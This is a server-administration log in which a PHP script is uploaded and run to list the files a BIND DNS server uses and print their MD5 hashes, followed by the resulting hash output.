MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 81f36a028010960c977294c18c368717
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:00:44: Establishing a connection
2025-08-26 15:00:44:
PUT: /tmp/pkp456339
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:00:44:
runuser -l bind -s /bin/bash -c '/tmp/pkp456339; rm /tmp/pkp456339'
2025-08-26 15:00:44:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
